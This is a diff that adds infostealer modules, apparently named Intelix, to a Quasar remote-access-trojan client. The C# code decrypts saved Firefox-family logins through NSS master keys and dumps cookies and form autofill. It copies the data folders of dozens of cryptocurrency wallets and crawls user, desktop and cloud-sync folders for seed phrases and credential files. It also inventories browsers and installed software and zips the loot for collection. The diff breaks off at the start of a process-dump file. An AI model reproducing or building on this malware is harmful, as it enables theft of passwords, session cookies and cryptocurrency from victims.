b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Gecko.cs @@ -0,0 +1,191 @@ +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Intelix.Helper.Sql; + +namespace Intelix.Targets.Browsers; + +public class Gecko : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Gecko, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + ProfileCollect(zip, counter, browser, profile); + }); + } + }); + } + + private void ProfileCollect(InMemoryZip zip, Counter counter, string browser, string profile) + { + _ = browser + "\\Local State"; + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + Counter.CounterBrowser counterBrowser = new Counter.CounterBrowser(); + counterBrowser.Profile = profile; + counterBrowser.BrowserName = browsername; + Task.WaitAll(Task.Run(delegate + { + Password(zip, counterBrowser, profile, profilename, browsername); + }), Task.Run(delegate + { + Cookies(zip, counterBrowser, profile, profilename, browsername); + }), Task.Run(delegate + { + AutoFill(zip, counterBrowser, profile, profilename, browsername); + })); + if ((long)counterBrowser.Cookies != 0L || (long)counterBrowser.Password != 0L || (long)counterBrowser.CreditCards != 0L || (long)counterBrowser.AutoFill != 0L || (long)counterBrowser.RestoreToken != 0L || (long)counterBrowser.MaskCreditCard != 0L || (long)counterBrowser.MaskedIban != 0L) + { + counter.Browsers.Add(counterBrowser); + } + } + + private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername) + { + string path = Path.Combine(profile, "logins.json"); + if (!File.Exists(path)) + { + return; + } + string path2 = Path.Combine(profile, "key4.db"); + string path3 = Path.Combine(profile, "key3.db"); + byte[] masterKey = null; + if (File.Exists(path2)) + { + masterKey = NssDumpMasterKey.Key4Database(path2); + } + else if (File.Exists(path3)) + { + masterKey = NssDumpMasterKey.Key3Database(path3); + } + if (masterKey == null && !NSSDecryptor.Initialize(profile)) + { + return; + } + string text = File.ReadAllText(path); + if (string.IsNullOrEmpty(text)) + { + return; + } + MatchCollection matchCollection = Regex.Matches(text, "\"hostname\":\\s*\"(.*?)\".*?\"encryptedUsername\":\\s*\"(.*?)\".*?\"encryptedPassword\":\\s*\"(.*?)\"", RegexOptions.Singleline); + if (matchCollection.Count == 0) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.ForEach(matchCollection.Cast(), delegate(Match match) + { + string value = match.Groups[1].Value; + string value2 = match.Groups[2].Value; + string value3 = match.Groups[3].Value; + string text2 = ""; + string text3 = ""; + if (masterKey == null) + { + text2 = NSSDecryptor.Decrypt(value2); + text3 = NSSDecryptor.Decrypt(value3); + } + else + { + Asn1Der asn1Der = new Asn1Der(); + byte[] toParse = Convert.FromBase64String(value2); + byte[] toParse2 = Convert.FromBase64String(value3); + Asn1DerObject asn1DerObject = asn1Der.Parse(toParse); + Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse2); + byte[] data = asn1DerObject.Objects[0].Objects[1].Objects[1].Data; + byte[] data2 = asn1DerObject.Objects[0].Objects[1].Objects[0].Data; + byte[] data3 = asn1DerObject2.Objects[0].Objects[1].Objects[1].Data; + byte[] data4 = asn1DerObject2.Objects[0].Objects[1].Objects[0].Data; + text2 = TripleDes.DecryptStringDesCbc(masterKey, data, data2); + text3 = TripleDes.DecryptStringDesCbc(masterKey, data3, data4); + } + text2 = (string.IsNullOrEmpty(text2) ? "" : Regex.Replace(text2, "[^\\u0020-\\u007F]", "")); + text3 = (string.IsNullOrEmpty(text3) ? "" : Regex.Replace(text3, "[^\\u0020-\\u007F]", "")); + if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3)) + { + lines.Add("URL: " + value + "\nUsername: " + text2 + "\nPassword: " + text3 + "\n\n"); + ++counterBrowser.Password; + } + }); + zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList())); + } + + private void Cookies(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername) + { + string text = Path.Combine(profile, "cookies.sqlite"); + if (!File.Exists(text)) + { + return; + } + SqLite sSqLite = SqLite.ReadTable(text, "moz_cookies"); + if (sSqLite == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 3); + string value2 = sSqLite.GetValue(i, 4); + string value3 = sSqLite.GetValue(i, 2); + string value4 = sSqLite.GetValue(i, 5); + string value5 = sSqLite.GetValue(i, 6); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3) && !string.IsNullOrEmpty(value4) && !string.IsNullOrEmpty(value5)) + { + string item = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + value + "\n"; + lines.Add(item); + ++counterBrowser.Cookies; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList())); + } + + private void AutoFill(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername) + { + string text = Path.Combine(profile, "formhistory.sqlite"); + if (!File.Exists(text)) + { + return; + } + SqLite sSqLite = SqLite.ReadTable(text, "moz_formhistory"); + if (sSqLite == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 1); + string value2 = sSqLite.GetValue(i, 2); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value)) + { + string item = "Name: " + value + "\nValue: " + value2 + "\n\n"; + lines.Add(item); + ++counterBrowser.AutoFill; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Autofill/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList())); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/UserAgentGenerator.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/UserAgentGenerator.cs new file mode 100755 index 0000000..e3e77ff --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/UserAgentGenerator.cs @@ -0,0 +1,91 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Browsers; + +internal class UserAgentGenerator : ITarget +{ + private class BrowserAgent + { + public string Name { get; set; } + + public string UserAgent { get; set; } + } + + private readonly string[] paths = new string[7] + { + "C:\\Program Files\\Opera\\launcher.exe", + "C:\\Program Files\\Apple\\Safari\\Safari.exe", + "C:\\Program Files\\Mozilla Firefox\\firefox.exe", + "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", + "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Yandex\\YandexBrowser\\Application\\browser.exe" + }; + + private readonly string[] names = new string[7] { "Opera", "Safari", "Firefox", "Chrome", "Edge", "Brave", "Yandex" }; + + public void Collect(InMemoryZip zip, Counter counter) + { + string version = WindowsInfo.GetVersion(); + string architecture = WindowsInfo.GetArchitecture(); + List list = new List(); + for (int i = 0; i < paths.Length; i++) + { + string text = ((names[i] == "Chrome") ? GenerateUserAgentChrome(paths[i], version, architecture) : GenerateUserAgent(paths[i], names[i], version, architecture)); + if (!string.IsNullOrEmpty(text)) + { + list.Add(new BrowserAgent + { + Name = names[i], + UserAgent = text + }); + } + } + if (list.Count != 0) + { + int maxName = Math.Max("Browser".Length, list.Max((BrowserAgent a) => a.Name.Length)); + int maxUA = Math.Max("User-Agent".Length, list.Max((BrowserAgent a) => a.UserAgent.Length)); + List list2 = new List + { + "Browser".PadRight(maxName) + " | " + "User-Agent".PadRight(maxUA), + new string('-', maxName + maxUA + 3) + }; + list2.AddRange(list.Select((BrowserAgent a) => a.Name.PadRight(maxName) + " | " + a.UserAgent.PadRight(maxUA))); + zip.AddTextFile("UserAgents.txt", string.Join(Environment.NewLine, list2)); + } + } + + private string GenerateUserAgent(string browserPath, string name, string osVersion, string architecture) + { + if (File.Exists(browserPath)) + { + return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36 " + name + "/" + GetBrowserVersion(browserPath); + } + return string.Empty; + } + + private string GenerateUserAgentChrome(string browserPath, string osVersion, string architecture) + { + if (!File.Exists(browserPath)) + { + return string.Empty; + } + string browserVersion = GetBrowserVersion(browserPath); + return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" + browserVersion + " Safari/537.36"; + } + + private string GetBrowserVersion(string browserPath) + { + if (!File.Exists(browserPath)) + { + return "Unknown"; + } + return FileVersionInfo.GetVersionInfo(browserPath).FileVersion; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/CryptoDesktop.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/CryptoDesktop.cs new file mode 100755 index 0000000..417b660 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/CryptoDesktop.cs @@ -0,0 +1,240 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Crypto; + +public class CryptoDesktop : ITarget +{ + private static readonly List SWalletsDirectories = new List + { + new string[2] + { + "Zcash", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Zcash") + }, + new string[2] + { + "Armory", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Armory") + }, + new string[2] + { + "Bytecoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "bytecoin") + }, + new string[2] + { + "Jaxx", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "Exodus", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Exodus", "exodus.wallet") + }, + new string[2] + { + "Ethereum", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Ethereum", "keystore") + }, + new string[2] + { + "Electrum", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Electrum", "wallets") + }, + new string[2] + { + "AtomicWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "atomic", "Local Storage", "leveldb") + }, + new string[2] + { + "Atomic", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Atomic", "Local Storage", "leveldb") + }, + new string[2] + { + "Guarda", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Guarda", "Local Storage", "leveldb") + }, + new string[2] + { + "Coinomi", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Coinomi", "Coinomi", "wallets") + }, + new string[2] + { + "Tari", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "com.tari.universe", "app_configs", "mainnet") + }, + new string[2] + { + "Tari", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "com.tari.universe", "wallet", "mainnet", "data", "wallet") + }, + new string[2] + { + "Bitcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Bitcoin", "wallets") + }, + new string[2] + { + "Bitcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Bitcoin", "wallets") + }, + new string[2] + { + "Dash", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DashCore", "wallets") + }, + new string[2] + { + "Litecoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Litecoin", "wallets") + }, + new string[2] + { + "MyMonero", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyMonero") + }, + new string[2] + { + "Monero", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Monero") + }, + new string[2] + { + "Vertcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vertcoin") + }, + new string[2] + { + "Groestlcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Groestlcoin") + }, + new string[2] + { + "Komodo", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Komodo") + }, + new string[2] + { + "PIVX", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "PIVX") + }, + new string[2] + { + "BitcoinGold", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "BitcoinGold") + }, + new string[2] + { + "Electrum-LTC", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Electrum-LTC") + }, + new string[2] + { + "Binance", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Binance") + }, + new string[2] + { + "Phantom", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Phantom", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "Coin98", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Coin98", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "MathWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MathWallet", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "LedgerLive", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Ledger Live") + }, + new string[2] + { + "TrezorSuite", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "TrezorSuite") + }, + new string[2] + { + "MyEtherWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyEtherWallet") + }, + new string[2] + { + "MyCrypto", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyCrypto") + }, + new string[2] + { + "MetaMask", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MetaMask", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "TrustWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "TrustWallet", "IndexedDB", "file__0.indexeddb.leveldb") + } + }; + + private static readonly string[] SWalletsRegistry = new string[3] { "Litecoin", "Dash", "Bitcoin" }; + + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + Parallel.ForEach(SWalletsDirectories, delegate(string[] sw) + { + CopyWalletFromDirectoryTo(sw[1], sw[0], zip, counter); + }); + Parallel.ForEach(SWalletsRegistry, delegate(string sWalletRegistry) + { + CopyWalletFromRegistryTo(sWalletRegistry, zip, counter); + }); + } + catch + { + } + } + + private void CopyWalletFromDirectoryTo(string sWalletDir, string sWalletName, InMemoryZip zip, Counter counter) + { + if (Directory.Exists(sWalletDir)) + { + zip.AddDirectoryFiles(sWalletDir, "Wallet/" + sWalletName); + counter.CryptoDesktop.Add(sWalletDir + " => Wallet/" + sWalletName); + } + } + + private void CopyWalletFromRegistryTo(string sWalletRegistry, InMemoryZip zip, Counter counter) + { + try + { + string name = "Software\\" + sWalletRegistry + "\\" + sWalletRegistry + "-Qt"; + string text = Registry.CurrentUser.OpenSubKey(name)?.GetValue("strDataDir")?.ToString(); + if (text != null) + { + string text2 = Path.Combine(text, "wallets"); + if (Directory.Exists(text2)) + { + zip.AddDirectoryFiles(text2, "Wallet/" + sWalletRegistry); + counter.CryptoDesktop.Add(text2 + " => Wallet/" + sWalletRegistry); + } + } + } + catch + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/Grabber.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/Grabber.cs new file mode 100755 index 0000000..534fa80 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/Grabber.cs @@ -0,0 +1,187 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Crypto; + +public class Grabber : ITarget +{ + private readonly long _sizeMinFile = 120L; + + private readonly long _sizeLimitFile = 6144L; + + private readonly long _sizeLimit = 5242880L; + + private long _size; + + private readonly Regex _seedRegex = new Regex("^(?:\\s*\\b[a-z]{3,}\\b){12,24}\\s*$", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Compiled); + + private readonly string[] _blacklist = new string[10] { "license", "readme", "changelog", "about", "terms", "eula", "notice", "example", "sample", "test" }; + + private readonly string[] _keywords = new string[35] + { + "password", "passwd", "pwd", "pass", "login", "user", "username", "account", "mail", "email", + "secret", "key", "private", "public", "wallet", "mnemonic", "seed", "recovery", "phrase", "backup", + "pin", "auth", "2fa", "token", "apikey", "api_key", "ssh", "cert", "certificate", "crypto", + "btc", "eth", "usdt", "ltc", "xmr" + }; + + private readonly string[] _seedExtensions = new string[9] { ".seed", ".seedphrase", ".mnemonic", ".phrase", ".key", ".secret", ".txt", ".backup", ".wallet" }; + + private readonly string[] _seedPaths = new string[19] + { + Environment.GetFolderPath(Environment.SpecialFolder.Personal), + Environment.GetFolderPath(Environment.SpecialFolder.Desktop), + Environment.GetFolderPath(Environment.SpecialFolder.Personal), + Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments), + Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory), + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Downloads", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\OneDrive", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Dropbox", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\iCloudDrive", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Google Drive", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\YandexDisk", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Mega", + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Evernote", + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Standard Notes", + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Joplin", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Wallets", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Keys", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Crypto", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Backup" + }; + + private long Size + { + get + { + return Interlocked.Read(ref _size); + } + set + { + Interlocked.Exchange(ref _size, value); + } + } + + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(_seedPaths, delegate(string directory) + { + SearchFiles(zip, counter, directory); + }); + } + + private void SearchFiles(InMemoryZip zip, Counter counter, string directory) + { + if (Size > _sizeLimit) + { + return; + } + try + { + Parallel.ForEach(Directory.GetDirectories(directory), delegate(string subDir) + { + if (Size <= _sizeLimit) + { + SearchFiles(zip, counter, subDir); + } + }); + } + catch + { + } + try + { + Parallel.ForEach(Directory.GetFiles(directory), delegate(string file) + { + if (Size <= _sizeLimit) + { + FileInfo fileInfo = new FileInfo(file); + if (_seedExtensions.Contains(fileInfo.Extension, StringComparer.OrdinalIgnoreCase) && fileInfo.Length < _sizeLimitFile && fileInfo.Length > _sizeMinFile) + { + string text = File.ReadAllText(fileInfo.FullName); + if (ContainsKeyword(fileInfo.Name) || ContainsKeyword(text) || ContainsSeedPhrase(text)) + { + Size += fileInfo.Length; + string fileName = fileInfo.Name + RandomStrings.GenerateHashTag() + fileInfo.Extension; + string relativePath = GetRelativePath(fileInfo.FullName); + string text2 = Path.Combine("FileGrabber", relativePath, fileName).Replace('\\', '/'); + zip.AddTextFile(text2, text); + counter.FilesGrabber.Add(file + " => " + text2); + } + } + } + }); + } + catch + { + } + } + + private bool ContainsSeedPhrase(string content) + { + return _seedRegex.IsMatch(content); + } + + private string GetRelativePath(string fullPath) + { + try + { + string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + string documents = Environment.GetFolderPath(Environment.SpecialFolder.Personal); + + if (fullPath.StartsWith(desktop, StringComparison.OrdinalIgnoreCase)) + { + return "desktop"; + } + if (fullPath.StartsWith(documents, StringComparison.OrdinalIgnoreCase)) + { + return "Documents"; + } + return "other"; + } + catch + { + return "other"; + } + } + + private bool ContainsKeyword(string content) + { + if (string.IsNullOrEmpty(content)) + { + return false; + } + string[] source = content.Split(new char[14] + { + ' ', '\t', '\r', '\n', ',', '.', ';', ':', '-', '_', + '/', '\\', '"', '\'' + }, StringSplitOptions.RemoveEmptyEntries); + HashSet whitelist = new HashSet(_keywords, StringComparer.OrdinalIgnoreCase); + HashSet blacklist = new HashSet(_blacklist, StringComparer.OrdinalIgnoreCase); + int result = 0; + Parallel.ForEach(source, delegate(string word, ParallelLoopState state) + { + if (Volatile.Read(ref result) == -1) + { + state.Stop(); + } + else if (blacklist.Contains(word)) + { + Interlocked.Exchange(ref result, -1); + state.Stop(); + } + else if (whitelist.Contains(word)) + { + Interlocked.CompareExchange(ref result, 1, 0); + } + }); + return result == 1; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/GameList.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/GameList.cs new file mode 100755 index 0000000..65d3f35 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/GameList.cs @@ -0,0 +1,22 @@ +using System.Collections.Generic; +using System.IO; +using System.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class GameList : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = "C:\\Games"; + if (Directory.Exists(path)) + { + List list = Directory.GetDirectories(path).Select(Path.GetFileName).ToList(); + if (list.Any()) + { + zip.AddTextFile("Games.txt", string.Join("\n", list)); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledBrowsers.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledBrowsers.cs new file mode 100755 index 0000000..17badf8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledBrowsers.cs @@ -0,0 +1,160 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +public class InstalledBrowsers : ITarget +{ + private class Browser + { + public string Name { get; set; } + + public string Path { get; set; } + + public string Version { get; set; } + } + + public void Collect(InMemoryZip zip, Counter counter) + { + List list = (from g in GetBrowsers().GroupBy((Browser b) => b.Name, StringComparer.OrdinalIgnoreCase) + select g.First()).ToList(); + int maxName = Math.Max("Name".Length, list.Max((Browser b) => b.Name.Length)); + int maxVersion = Math.Max("Version".Length, list.Max((Browser b) => b.Version.Length)); + int length = "In Use".Length; + List list2 = new List + { + "Name".PadRight(maxName) + " | " + "Version".PadRight(maxVersion), + new string('-', maxName + maxVersion + length + 6) + }; + list2.AddRange(list.Select(delegate(Browser b) + { + SafeGetExeName(b.Path); + return b.Name.PadRight(maxName) + " | " + b.Version.PadRight(maxVersion); + })); + if (list.Count > 0) + { + zip.AddTextFile("InstalledBrowsers.txt", string.Join("\n", list2)); + } + } + + private static IEnumerable GetBrowsers() + { + string[] obj = new string[2] { "SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet", "SOFTWARE\\Clients\\StartMenuInternet" }; + List list = new List(); + string[] array = obj; + foreach (string keyPath in array) + { + list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.LocalMachine)); + list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.CurrentUser)); + } + Browser edgeLegacyVersion = GetEdgeLegacyVersion(); + if (edgeLegacyVersion != null) + { + list.Add(edgeLegacyVersion); + } + return list; + } + + private static IEnumerable GetBrowsersFromRegistry(string keyPath, RegistryKey root) + { + using RegistryKey key = root.OpenSubKey(keyPath); + if (key == null) + { + yield break; + } + string[] subKeyNames = key.GetSubKeyNames(); + foreach (string name in subKeyNames) + { + using RegistryKey subkey = key.OpenSubKey(name); + if (!(subkey?.GetValue(null) is string name2)) + { + continue; + } + string text = StripQuotesFromCommand(subkey.OpenSubKey("shell\\open\\command")?.GetValue(null)?.ToString()); + string version = "unknown"; + if (!string.IsNullOrEmpty(text) && File.Exists(text)) + { + try + { + version = FileVersionInfo.GetVersionInfo(text).FileVersion; + } + catch + { + } + } + yield return new Browser + { + Name = name2, + Path = text, + Version = version + }; + } + } + + private static Browser GetEdgeLegacyVersion() + { + using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\SystemAppData\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Schemas")) + { + if (registryKey?.GetValue("PackageFullName") is string input) + { + Match match = Regex.Match(input, "\\d+(\\.\\d+)+"); + if (match.Success) + { + return new Browser + { + Name = "Microsoft Edge (Legacy)", + Path = null, + Version = match.Value + }; + } + } + } + return null; + } + + private static string StripQuotesFromCommand(string command) + { + if (string.IsNullOrWhiteSpace(command)) + { + return null; + } + command = command.Trim(); + if (command.StartsWith("\"")) + { + int num = command.IndexOf('"', 1); + if (num > 1) + { + return command.Substring(1, num - 1); + } + return null; + } + int num2 = command.IndexOf(' '); + if (num2 <= 0) + { + return command; + } + return command.Substring(0, num2); + } + + private static string SafeGetExeName(string path) + { + try + { + if (string.IsNullOrWhiteSpace(path)) + { + return null; + } + return Path.GetFileName(path)?.ToUpperInvariant(); + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledPrograms.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledPrograms.cs new file mode 100755 index 0000000..a5f8f4b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledPrograms.cs @@ -0,0 +1,77 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +public class InstalledPrograms : ITarget +{ + private class InstalledProgram + { + public string Name { get; set; } + + public string Version { get; set; } + + public string InstallLocation { get; set; } + } + + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" }.SelectMany((string key) => GetInstalledPrograms(key, Registry.LocalMachine, counter).Concat(GetInstalledPrograms(key, Registry.CurrentUser, counter))).ToList(); + if (list.Count != 0) + { + int maxName = Math.Max("Name".Length, list.Max((InstalledProgram p) => p.Name?.Length ?? 0)); + int maxVersion = Math.Max("Version".Length, list.Max((InstalledProgram p) => p.Version?.Length ?? 0)); + int maxPath = Math.Max("Path".Length, list.Max((InstalledProgram p) => p.InstallLocation?.Length ?? 0)); + List list2 = new List(); + list2.Add("Name".PadRight(maxName) + " | " + "Path".PadRight(maxPath) + " | " + "Version".PadRight(maxVersion)); + list2.Add(new string('-', maxName + maxPath + maxVersion + 6)); + List list3 = list2; + list3.AddRange(list.Select((InstalledProgram p) => (p.Name ?? "Unknown").PadRight(maxName) + " | " + (p.InstallLocation ?? "Unknown").PadRight(maxPath) + " | " + (p.Version ?? "Unknown").PadRight(maxVersion))); + zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", list3)); + } + } + + private static List GetInstalledPrograms(string uninstallKey, RegistryKey root, Counter counter) + { + ConcurrentBag installedPrograms = new ConcurrentBag(); + using (RegistryKey registryKey = root.OpenSubKey(uninstallKey)) + { + if (registryKey == null) + { + return new List(); + } + string[] subKeyNames = registryKey.GetSubKeyNames(); + if (subKeyNames == null || subKeyNames.Length == 0) + { + return new List(); + } + Parallel.ForEach(subKeyNames, delegate(string subkeyName) + { + try + { + using RegistryKey registryKey2 = root.OpenSubKey(uninstallKey + "\\" + subkeyName); + string text = registryKey2?.GetValue("DisplayName") as string; + if (!string.IsNullOrEmpty(text)) + { + InstalledProgram item = new InstalledProgram + { + Name = text.Trim(), + Version = ((registryKey2.GetValue("DisplayVersion") as string) ?? "Unknown"), + InstallLocation = ((registryKey2.GetValue("InstallLocation") as string) ?? "Unknown") + }; + installedPrograms.Add(item); + } + } + catch + { + } + }); + } + return installedPrograms.ToList(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProcessDump.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProcessDump.cs new file mode 100755 index 0000000..9d3e09c --- /dev/null +++ 